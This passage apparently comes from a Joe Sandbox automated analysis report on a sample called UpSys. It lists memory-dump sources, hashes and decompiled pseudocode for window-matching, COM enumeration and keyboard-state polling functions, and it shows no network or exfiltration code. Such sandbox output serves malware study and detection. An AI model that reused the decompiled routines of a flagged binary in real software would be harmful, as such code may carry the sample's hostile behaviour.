                                                                                                                                                                                                        0x14008284c
                                                                                                                                                                                                        0x14008284e
                                                                                                                                                                                                        0x140082858
                                                                                                                                                                                                        0x140082863
                                                                                                                                                                                                        0x140082869
                                                                                                                                                                                                        0x140082871
                                                                                                                                                                                                        0x140082873
                                                                                                                                                                                                        0x140082883
                                                                                                                                                                                                        0x14008288c
                                                                                                                                                                                                        0x140082891
                                                                                                                                                                                                        0x14008289b
                                                                                                                                                                                                        0x1400828b7

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Destroy$Icon$DeleteObject$AcceleratorCurrent_exceptionKillTableTimerWindowstd::exception_ptr::_
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 879742446-0
                                                                                                                                                                                                        • Opcode ID: cb9468980692af63015f20a4d0f8719375a4efad11f88839ee97444b0dfca85c
                                                                                                                                                                                                        • Instruction ID: af2419f83ffb5f93883e9994edb9c1431be020d63d48911f789787c86bf89b52
                                                                                                                                                                                                        • Opcode Fuzzy Hash: cb9468980692af63015f20a4d0f8719375a4efad11f88839ee97444b0dfca85c
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 7881E836205B0486EF6A9B6BE4947A92761FB8CFD4F548112EB0E53BB5CF39C581CB01
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140051640 Relevance: 16.6, APIs: 11, Instructions: 108keyboardCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: State$Async$Keyboard
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 541375521-0
                                                                                                                                                                                                        • Opcode ID: f4b8958ec644ab1376b951535a396dafac245e37b9ece25b5b7ba3e708a7b0c4
                                                                                                                                                                                                        • Instruction ID: e7b0b91f4dd0373ac5bdc49c1ea376b3c266460d22f13118fa24b05f84c2ff2c
                                                                                                                                                                                                        • Opcode Fuzzy Hash: f4b8958ec644ab1376b951535a396dafac245e37b9ece25b5b7ba3e708a7b0c4
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 9951B57760C7C495FB73CB6694007E96AA1E79DBC8F4C4158E786072E2CB3A9894C331
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014008EB90 Relevance: 16.0, APIs: 4, Strings: 5, Instructions: 220COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 45%
                                                                                                                                                                                                        			E0000000114008EB90(void* __ecx, long long __rbx, void* __rcx, intOrPtr* __rdx, long long __rsi, long long __rbp, intOrPtr* __r8, void* __r9, void* __r10, char _a16) {
				void* _v40;
				char _v104;
				intOrPtr* _v120;
				char _v128;
				char _v144;
				char _v152;
				void* _v160;
				char _v168;
				void* _v176;
				char _v200;
				intOrPtr _v204;
				intOrPtr _v208;
				long long _v216;
				char _v224;
				char _v232;
				char _v233;
				intOrPtr _v234;
				intOrPtr _v235;
				intOrPtr _v236;
				intOrPtr _v237;
				intOrPtr _v238;
				intOrPtr _v239;
				char _v240;
				intOrPtr _v242;
				intOrPtr _v244;
				intOrPtr _v248;
				long long _v264;
				long long _v272;
				long long _v280;
				long long _v288;
				short _v296;
				void* __rdi;
				void* _t83;
				void* _t85;
				void* _t94;
				void* _t95;
				short _t115;
				long long _t142;
				intOrPtr* _t152;
				intOrPtr* _t153;
				intOrPtr* _t154;
				void* _t188;
				void* _t194;
				void* _t196;
				void* _t211;
				void* _t216;
				intOrPtr _t217;
				intOrPtr* _t218;
				void* _t220;
				void* _t221;
				long long _t223;
				void* _t225;

				_t206 = __r9;
				_t211 = _t196;
				 *((long long*)(_t211 + 8)) = __rbx;
				 *((long long*)(_t211 + 0x18)) = __rbp;
				 *((long long*)(_t211 + 0x20)) = __rsi;
				r14d = 0;
				 *((long long*)(_t211 - 0xa0)) = L"_NewEnum";
				_t194 = __rcx;
				_t5 = _t223 + 0x40; // 0x40
				r8d = _t5;
				 *((long long*)(_t211 - 0xb0)) = L"get__NewEnum";
				_t221 = __r9;
				_v232 = r14d;
				_v224 = _t223;
				_v216 = _t223;
				_v208 = r14d;
				_v204 = r14d;
				_v248 = 0x20404;
				_v244 = r14w;
				_v242 = r14w;
				_v240 = 0xc0;
				_v239 = r14b;
				_v238 = r14b;
				_v237 = r14b;
				_v236 = r14b;
				_v235 = r14b;
				_v234 = r14b;
				_v233 = 0x46;
				E00000001140017520(_t83, __ecx, 0, _t211 - 0x68, __rdx, __r8);
				if (__rdx == _t223) goto 0x4008ef07;
				if (_t221 == _t223) goto 0x4008ef07;
				if (__r8 == _t223) goto 0x4008ef07;
				_t85 = E0000000114003F520(__r8);
				_t24 = _t223 + 1; // 0x1
				_t115 = _t24;
				_t25 = _t223 + 0xd; // 0xd
				r15d = _t25;
				if (_t85 != r14b) goto 0x4008ee4b;
				_t217 =  *__rdx;
				if (_t217 == _t223) goto 0x4008ec8a;
				if ( *((intOrPtr*)(__rdx + 8)) != 8) goto 0x4008ec8a;
				_t218 =  *((intOrPtr*)(_t217 + 8));
				if (_t218 != _t223) goto 0x4008ec94;
				goto 0x4008ef0e;
				_v288 =  &_a16;
				r9d = _t115;
				_v296 = 0x400;
				if ( *((intOrPtr*)( *_t218 + 0x28))(_t220, _t216, _t188) - r14d < 0) goto 0x4008ecd5;
				if (_a16 != 0xffffffff) goto 0x4008ed1c;
				_t142 =  *_t218;
				_v288 =  &_a16;
				r9d = _t115;
				_v296 = 0x400;
				if ( *((intOrPtr*)(_t142 + 0x28))() - r14d < 0) goto 0x4008ed11;
				if (_a16 != 0xffffffff) goto 0x4008ed1c;
				_a16 = 0xfffffffc;
				0x400166f8();
				_v208 = r14d;
				_v224 = _t142;
				__imp__#8();
				_v264 =  &_v168;
				_v272 =  &_v104;
				_v280 =  &_v128;
				r9d = 0x800;
				_v288 =  &_v224;
				_v296 = 3;
				r12d =  *((intOrPtr*)( *_t218 + 0x30))();
				0x40017be8();
				if (r12d - r14d >= 0) goto 0x4008edd5;
				r9d = 0;
				_v296 = dil;
				if (r12d != 0x80020009) goto 0x4008edcd;
				goto 0x4008ef20;
				goto 0x4008ef1d;
				_t152 = _v120;
				if (_t152 == _t223) goto 0x4008ef0c;
				_v152 = r15w;
				r12d =  *((intOrPtr*)( *_t152))();
				 *((intOrPtr*)( *_t152 + 0x10))();
				_t153 = _v144;
				if (_t153 != _t223) goto 0x4008ee28;
				r9d = 0;
				goto 0x4008ef15;
				 *((intOrPtr*)( *_t153 + 0x28))();
				E0000000114007A020(3, r12d,  *_t153, _t153, __r8,  &_v152, __r8,  &_v144, _t206);
				 *((intOrPtr*)( *_t153 + 0x10))();
				_t154 =  *__r8;
				if (_t154 == _t223) goto 0x4008ef0c;
				if ( *_t154 == r15w) goto 0x4008ee6b;
				goto 0x4008ef15;
				_t155 =  *((intOrPtr*)(_t154 + 8));
				__imp__#8();
				__imp__#9();
				_t94 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t154 + 8)))) + 0x18))();
				if (_t94 - r14d >= 0) goto 0x4008eec4;
				if (_t94 == _t115) goto 0x4008eec4;
				_t95 = E00000001140007A40( *((intOrPtr*)(_t154 + 8)), __r8, __r8, _t225);
				 *((intOrPtr*)(__r8 + 8)) = _t115;
				 *__r8 = r14d;
				r9d = 0;
				goto 0x4008ef15;
				if (_v232 == r14d) goto 0x4008eecf;
				if (_t95 != _t115) goto 0x4008eee5;
				_v200 = _t115;
				E00000001140007A40( *((intOrPtr*)(_t154 + 8)), __r8, __r8, _t223);
				 *((intOrPtr*)(__r8 + 8)) = _t115;
				 *__r8 = r14d;
				E0000000114007A020(3, _t94,  *_t153,  *((intOrPtr*)(_t154 + 8)), _t221,  &_v200, __r8,  &_v200,  &_v232);
				__imp__#9();
				goto 0x4008ef25;
				_v296 = dil;
				r8d = 0;
				return E0000000114008CDC0(3, 1, _t155, _t194, _t188, __r8, _t194,  &_v200, L"Null Object assignment in FOR..IN loop", __r10);
			}























































                                                                                                                                                                                                        0x14008eb90
                                                                                                                                                                                                        0x14008eb90
                                                                                                                                                                                                        0x14008eb93
                                                                                                                                                                                                        0x14008eb97
                                                                                                                                                                                                        0x14008eb9b
                                                                                                                                                                                                        0x14008ebaf
                                                                                                                                                                                                        0x14008ebbc
                                                                                                                                                                                                        0x14008ebc3
                                                                                                                                                                                                        0x14008ebd0
                                                                                                                                                                                                        0x14008ebd0
                                                                                                                                                                                                        0x14008ebda
                                                                                                                                                                                                        0x14008ebe1
                                                                                                                                                                                                        0x14008ebe4
                                                                                                                                                                                                        0x14008ebe9
                                                                                                                                                                                                        0x14008ebee
                                                                                                                                                                                                        0x14008ebf3
                                                                                                                                                                                                        0x14008ebf8
                                                                                                                                                                                                        0x14008ebfd
                                                                                                                                                                                                        0x14008ec05
                                                                                                                                                                                                        0x14008ec0b
                                                                                                                                                                                                        0x14008ec11
                                                                                                                                                                                                        0x14008ec16
                                                                                                                                                                                                        0x14008ec1b
                                                                                                                                                                                                        0x14008ec20
                                                                                                                                                                                                        0x14008ec25
                                                                                                                                                                                                        0x14008ec2a
                                                                                                                                                                                                        0x14008ec2f
                                                                                                                                                                                                        0x14008ec34
                                                                                                                                                                                                        0x14008ec39
                                                                                                                                                                                                        0x14008ec41
                                                                                                                                                                                                        0x14008ec4a
                                                                                                                                                                                                        0x14008ec53
                                                                                                                                                                                                        0x14008ec5c
                                                                                                                                                                                                        0x14008ec61
                                                                                                                                                                                                        0x14008ec61
                                                                                                                                                                                                        0x14008ec65
                                                                                                                                                                                                        0x14008ec65
                                                                                                                                                                                                        0x14008ec6c
                                                                                                                                                                                                        0x14008ec72
                                                                                                                                                                                                        0x14008ec78
                                                                                                                                                                                                        0x14008ec7e
                                                                                                                                                                                                        0x14008ec80
                                                                                                                                                                                                        0x14008ec88
                                                                                                                                                                                                        0x14008ec8f
                                                                                                                                                                                                        0x14008eca8
                                                                                                                                                                                                        0x14008ecbc
                                                                                                                                                                                                        0x14008ecbf
                                                                                                                                                                                                        0x14008ecc9
                                                                                                                                                                                                        0x14008ecd3
                                                                                                                                                                                                        0x14008ecd5
                                                                                                                                                                                                        0x14008ece9
                                                                                                                                                                                                        0x14008ecf5
                                                                                                                                                                                                        0x14008ecfb
                                                                                                                                                                                                        0x14008ed05
                                                                                                                                                                                                        0x14008ed0f
                                                                                                                                                                                                        0x14008ed11
                                                                                                                                                                                                        0x14008ed21
                                                                                                                                                                                                        0x14008ed2e
                                                                                                                                                                                                        0x14008ed36
                                                                                                                                                                                                        0x14008ed3b
                                                                                                                                                                                                        0x14008ed54
                                                                                                                                                                                                        0x14008ed66
                                                                                                                                                                                                        0x14008ed7a
                                                                                                                                                                                                        0x14008ed84
                                                                                                                                                                                                        0x14008ed8a
                                                                                                                                                                                                        0x14008ed8f
                                                                                                                                                                                                        0x14008ed9e
                                                                                                                                                                                                        0x14008eda1
                                                                                                                                                                                                        0x14008eda9
                                                                                                                                                                                                        0x14008edb0
                                                                                                                                                                                                        0x14008edb3
                                                                                                                                                                                                        0x14008edbe
                                                                                                                                                                                                        0x14008edc8
                                                                                                                                                                                                        0x14008edd0
                                                                                                                                                                                                        0x14008edd5
                                                                                                                                                                                                        0x14008ede0
                                                                                                                                                                                                        0x14008ede6
                                                                                                                                                                                                        0x14008ee0a
                                                                                                                                                                                                        0x14008ee0d
                                                                                                                                                                                                        0x14008ee10
                                                                                                                                                                                                        0x14008ee1b
                                                                                                                                                                                                        0x14008ee1d
                                                                                                                                                                                                        0x14008ee23
                                                                                                                                                                                                        0x14008ee2e
                                                                                                                                                                                                        0x14008ee3c
                                                                                                                                                                                                        0x14008ee47
                                                                                                                                                                                                        0x14008ee4b
                                                                                                                                                                                                        0x14008ee51
                                                                                                                                                                                                        0x14008ee5b
                                                                                                                                                                                                        0x14008ee66
                                                                                                                                                                                                        0x14008ee6b
                                                                                                                                                                                                        0x14008ee77
                                                                                                                                                                                                        0x14008ee85
                                                                                                                                                                                                        0x14008eea0
                                                                                                                                                                                                        0x14008eea9
                                                                                                                                                                                                        0x14008eead
                                                                                                                                                                                                        0x14008eeb2
                                                                                                                                                                                                        0x14008eeb7
                                                                                                                                                                                                        0x14008eeba
                                                                                                                                                                                                        0x14008eebd
                                                                                                                                                                                                        0x14008eec2
                                                                                                                                                                                                        0x14008eec9
                                                                                                                                                                                                        0x14008eecd
                                                                                                                                                                                                        0x14008eed2
                                                                                                                                                                                                        0x14008eeda
                                                                                                                                                                                                        0x14008eedf
                                                                                                                                                                                                        0x14008eee2
                                                                                                                                                                                                        0x14008eef0
                                                                                                                                                                                                        0x14008eefd
                                                                                                                                                                                                        0x14008ef05
                                                                                                                                                                                                        0x14008ef15
                                                                                                                                                                                                        0x14008ef1d
                                                                                                                                                                                                        0x14008ef45

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Variant$Init$Clear
                                                                                                                                                                                                        • String ID: F$Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop$_NewEnum$get__NewEnum
                                                                                                                                                                                                        • API String ID: 3467423407-1153829046
                                                                                                                                                                                                        • Opcode ID: fb7f48c43dc57c441870092f1b3311acde5e918e8d70c3b57c700cd8ffaf2fff
                                                                                                                                                                                                        • Instruction ID: ceb89bd96711112dab9642368ad642788c7f4046e92599937366826e5eb13f88
                                                                                                                                                                                                        • Opcode Fuzzy Hash: fb7f48c43dc57c441870092f1b3311acde5e918e8d70c3b57c700cd8ffaf2fff
                                                                                                                                                                                                        • Instruction Fuzzy Hash: B4A17C33208BC081DB61CF26E4447DAB7A5F398BC4F544122EB9A57BA9DF78C649CB01
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140072220 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 218COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 49%
                                                                                                                                                                                                        			E00000001140072220(void* __edx, void* __rax, long long __rbx, void* __rcx, long long __rdx, long long __rbp, void* __r8, void* __r9, void* __r10, long long _a8, char _a16, long long _a24) {
				void* _v40;
				char _v2104;
				intOrPtr _v2124;
				intOrPtr _v2128;
				intOrPtr _v2132;
				char _v2136;
				void* __rsi;
				int _t99;
				void* _t102;
				signed int _t133;
				signed char _t134;
				void* _t135;
				intOrPtr _t136;
				void* _t139;
				void* _t143;
				void* _t148;
				void* _t155;
				void* _t160;
				void* _t166;
				void* _t186;
				void* _t187;
				void* _t188;
				void* _t196;
				void* _t246;
				void* _t257;
				long long _t258;

				_t197 = __rbx;
				_t196 = __rax;
				_t135 = __edx;
				_a8 = __rbx;
				_a24 = __rbp;
				_a16 = __rdx;
				r12d = 0;
				_t258 = __rdx;
				_t7 = _t257 + 1; // 0x1
				r14d = _t7;
				_t246 = __rcx;
				if (( *(__rcx + 0xc) & 0x00000040) == 0) goto 0x4007225e;
				if (( *(__rcx + 0xc) & 0x00000008) == 0) goto 0x40072294;
				r8d = 0x400;
				GetClassNameW(??, ??, ??);
				if (E00000001140017790( *((intOrPtr*)(__rcx + 0x148)),  &_v2104) != r12d) goto 0x40072291;
				_t139 = r14d + r14d;
				if (( *(__rcx + 0xc) & r14b) == 0) goto 0x4007235d;
				r8d = 0x400;
				_t99 = GetWindowTextW(??, ??, ??);
				_t166 =  *((intOrPtr*)(__rcx + 0x10)) - r12b;
				if (_t166 != 0) goto 0x400722d0;
				E00000001140016A44(_t99,  &_v2104);
				CharUpperBuffW(??, ??);
				if (_t166 == 0) goto 0x40072309;
				if (_t166 == 0) goto 0x400722f4;
				if ( *((intOrPtr*)(__rcx + 0x14)) - r14d - r14d != r14d) goto 0x40072323;
				_t102 = E00000001140017790( &_v2104,  *((intOrPtr*)(__rcx + 0x18)));
				goto 0x4007231b;
				E00000001140017B80(_t102,  &_v2104,  *((intOrPtr*)(__rcx + 0x18)));
				if (_t196 == _t257) goto 0x40072323;
				goto 0x40072320;
				if (E000000011400178AC( *((intOrPtr*)(__rcx + 0x20)), __r9) != r12d) goto 0x40072323;
				if (( *(__rcx + 0xc) & 0x00000008) != 0) goto 0x4007235a;
				if (( *(__rcx + 0xc) & 0x00000010) != 0) goto 0x4007235a;
				r8d = 0x400;
				GetClassNameW(??, ??, ??);
				E00000001140017790(L"ThumbnailClass",  &_v2104);
				_t141 =  ==  ? _t139 : _t139 + r14d;
				if (( *(__rcx + 0xc) & 0x00000002) == 0) goto 0x400723ec;
				r8d = 0x400;
				GetWindowTextW(??, ??, ??);
				E00000001140001D30(_t196, __rbx,  &_v2136,  &_v2104);
				E00000001140002610(E00000001140071FE0(_t246 + 0x58,  &_v2136), _t197,  &_v2136);
				if (E0000000114005AD00(_t246 + 0x58) == r12b) goto 0x400723e9;
				if (( *(_t246 + 0xc) & 0x00000008) != 0) goto 0x400723e6;
				if (( *(_t246 + 0xc) & 0x00000010) != 0) goto 0x400723e6;
				r8d = 0x400;
				GetClassNameW(??, ??, ??);
				if (E00000001140017790(L"ThumbnailClass",  &_v2104) == r12d) goto 0x400723e9;
				_t142 = ( ==  ? _t139 : _t139 + r14d) + r14d;
				if (( *(_t246 + 0xc) & 0x00000010) == 0) goto 0x40072447;
				r8d = 0x400;
				GetClassNameW(??, ??, ??);
				E00000001140001D30(_t196, _t197,  &_v2136,  &_v2104);
				E00000001140002610(E00000001140071FE0(_t246 + 0xd0,  &_v2136), _t197,  &_v2136);
				if (E0000000114005AD00(_t246 + 0xd0) == r12b) goto 0x40072444;
				_t143 = ( ==  ? _t139 : _t139 + r14d) + r14d + r14d;
				_t155 = r14d + r14d + r14d + r14d + r14d;
				if (( *(_t246 + 0xc) & 0x00000004) == 0) goto 0x40072467;
				if (_t143 != _t155) goto 0x40072464;
				if (E00000001140052450(_t135, _t143 - _t155, _t197, _t246, _t258) == r12b) goto 0x40072464;
				_t133 =  *(_t246 + 0xc);
				if ((_t133 & 0x00000180) != 0) goto 0x4007247a;
				if ((_t133 & 0x00000600) == 0) goto 0x400724f0;
				GetWindowRect(??, ??);
				_t134 =  *(_t246 + 0xc);
				r8d = _v2136;
				if (_t134 >= 0) goto 0x400724a3;
				_t186 =  *((intOrPtr*)(_t246 + 0x170)) - r8d;
				if (_t186 != 0) goto 0x400724a0;
				asm("bt ecx, 0x8");
				_t136 = _v2132;
				if (_t186 >= 0) goto 0x400724bb;
				_t187 =  *((intOrPtr*)(_t246 + 0x174)) - _t136;
				if (_t187 != 0) goto 0x400724b8;
				asm("bt ecx, 0x9");
				if (_t187 >= 0) goto 0x400724d6;
				_t188 =  *((intOrPtr*)(_t246 + 0x178)) - _v2128 - r8d;
				if (_t188 != 0) goto 0x400724d3;
				asm("bt ecx, 0xa");
				if (_t188 >= 0) goto 0x400724f0;
				if ( *((intOrPtr*)(_t246 + 0x17c)) != _v2124 - _t136) goto 0x400724ed;
				_t148 = _t143 + r14d + r14d + r14d + r14d + r14d;
				_t160 = _t155 + r14d + r14d + r14d + r14d + r14d;
				if ((_t134 & 0x00000020) == 0) goto 0x40072514;
				if (_t148 != _t160) goto 0x40072511;
				 *((intOrPtr*)(_t246 + 0x16c)) =  *((intOrPtr*)(_t246 + 0x16c)) + r14d;
				if ( *((intOrPtr*)(_t246 + 0x16c)) !=  *((intOrPtr*)(_t246 + 0x168))) goto 0x40072511;
				if (_t148 + r14d != _t160 + r14d) goto 0x40072540;
				E0000000114003E0C0(_t134, _t196, _t197, _t246 + 0x188,  &_a16, _t246);
				 *((intOrPtr*)(_t246 + 0x180)) =  *((intOrPtr*)(_t246 + 0x180)) + r14d;
				r12b =  *((intOrPtr*)(_t246 + 8)) == r12b;
				goto 0x40072543;
				return r14d;
			}





























                                                                                                                                                                                                        0x140072220
                                                                                                                                                                                                        0x140072220
                                                                                                                                                                                                        0x140072220
                                                                                                                                                                                                        0x140072220
                                                                                                                                                                                                        0x140072225
                                                                                                                                                                                                        0x14007222a
                                                                                                                                                                                                        0x14007223e
                                                                                                                                                                                                        0x140072245
                                                                                                                                                                                                        0x140072248
                                                                                                                                                                                                        0x140072248
                                                                                                                                                                                                        0x14007224d
                                                                                                                                                                                                        0x140072256
                                                                                                                                                                                                        0x140072262
                                                                                                                                                                                                        0x140072269
                                                                                                                                                                                                        0x140072272
                                                                                                                                                                                                        0x14007228c
                                                                                                                                                                                                        0x14007228e
                                                                                                                                                                                                        0x140072298
                                                                                                                                                                                                        0x1400722a3
                                                                                                                                                                                                        0x1400722ac
                                                                                                                                                                                                        0x1400722b2
                                                                                                                                                                                                        0x1400722b6
                                                                                                                                                                                                        0x1400722bd
                                                                                                                                                                                                        0x1400722ca
                                                                                                                                                                                                        0x1400722d8
                                                                                                                                                                                                        0x1400722dd
                                                                                                                                                                                                        0x1400722e2
                                                                                                                                                                                                        0x1400722ed
                                                                                                                                                                                                        0x1400722f2
                                                                                                                                                                                                        0x1400722fd
                                                                                                                                                                                                        0x140072305
                                                                                                                                                                                                        0x140072307
                                                                                                                                                                                                        0x14007231e
                                                                                                                                                                                                        0x140072327
                                                                                                                                                                                                        0x14007232d
                                                                                                                                                                                                        0x140072334
                                                                                                                                                                                                        0x14007233d
                                                                                                                                                                                                        0x14007234f
                                                                                                                                                                                                        0x140072357
                                                                                                                                                                                                        0x140072361
                                                                                                                                                                                                        0x14007236c
                                                                                                                                                                                                        0x140072375
                                                                                                                                                                                                        0x140072385
                                                                                                                                                                                                        0x14007239d
                                                                                                                                                                                                        0x1400723ae
                                                                                                                                                                                                        0x1400723b4
                                                                                                                                                                                                        0x1400723ba
                                                                                                                                                                                                        0x1400723c1
                                                                                                                                                                                                        0x1400723ca
                                                                                                                                                                                                        0x1400723e4
                                                                                                                                                                                                        0x1400723e6
                                                                                                                                                                                                        0x1400723f0
                                                                                                                                                                                                        0x1400723f7
                                                                                                                                                                                                        0x140072400
                                                                                                                                                                                                        0x140072410
                                                                                                                                                                                                        0x14007242b
                                                                                                                                                                                                        0x14007243f
                                                                                                                                                                                                        0x140072441
                                                                                                                                                                                                        0x140072444
                                                                                                                                                                                                        0x14007244b
                                                                                                                                                                                                        0x14007244f
                                                                                                                                                                                                        0x14007245f
                                                                                                                                                                                                        0x140072467
                                                                                                                                                                                                        0x140072470
                                                                                                                                                                                                        0x140072478
                                                                                                                                                                                                        0x140072482
                                                                                                                                                                                                        0x140072488
                                                                                                                                                                                                        0x14007248b
                                                                                                                                                                                                        0x140072492
                                                                                                                                                                                                        0x140072494
                                                                                                                                                                                                        0x14007249b
                                                                                                                                                                                                        0x1400724a3
                                                                                                                                                                                                        0x1400724a7
                                                                                                                                                                                                        0x1400724ab
                                                                                                                                                                                                        0x1400724ad
                                                                                                                                                                                                        0x1400724b3
                                                                                                                                                                                                        0x1400724bb
                                                                                                                                                                                                        0x1400724bf
                                                                                                                                                                                                        0x1400724c8
                                                                                                                                                                                                        0x1400724ce
                                                                                                                                                                                                        0x1400724d6
                                                                                                                                                                                                        0x1400724da
                                                                                                                                                                                                        0x1400724e8
                                                                                                                                                                                                        0x1400724ea
                                                                                                                                                                                                        0x1400724ed
                                                                                                                                                                                                        0x1400724f3
                                                                                                                                                                                                        0x1400724f7
                                                                                                                                                                                                        0x1400724f9
                                                                                                                                                                                                        0x14007250c
                                                                                                                                                                                                        0x140072516
                                                                                                                                                                                                        0x140072527
                                                                                                                                                                                                        0x14007252c
                                                                                                                                                                                                        0x140072537
                                                                                                                                                                                                        0x14007253e
                                                                                                                                                                                                        0x14007255e

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: ClassName$Window$Text$BuffCharRectUpper
                                                                                                                                                                                                        • String ID: ThumbnailClass
                                                                                                                                                                                                        • API String ID: 3725905772-1241985126
                                                                                                                                                                                                        • Opcode ID: 23175a9514f7a0b72fb445976a641e4fee1515abb0ddbbe6ebe4399a6ada1849
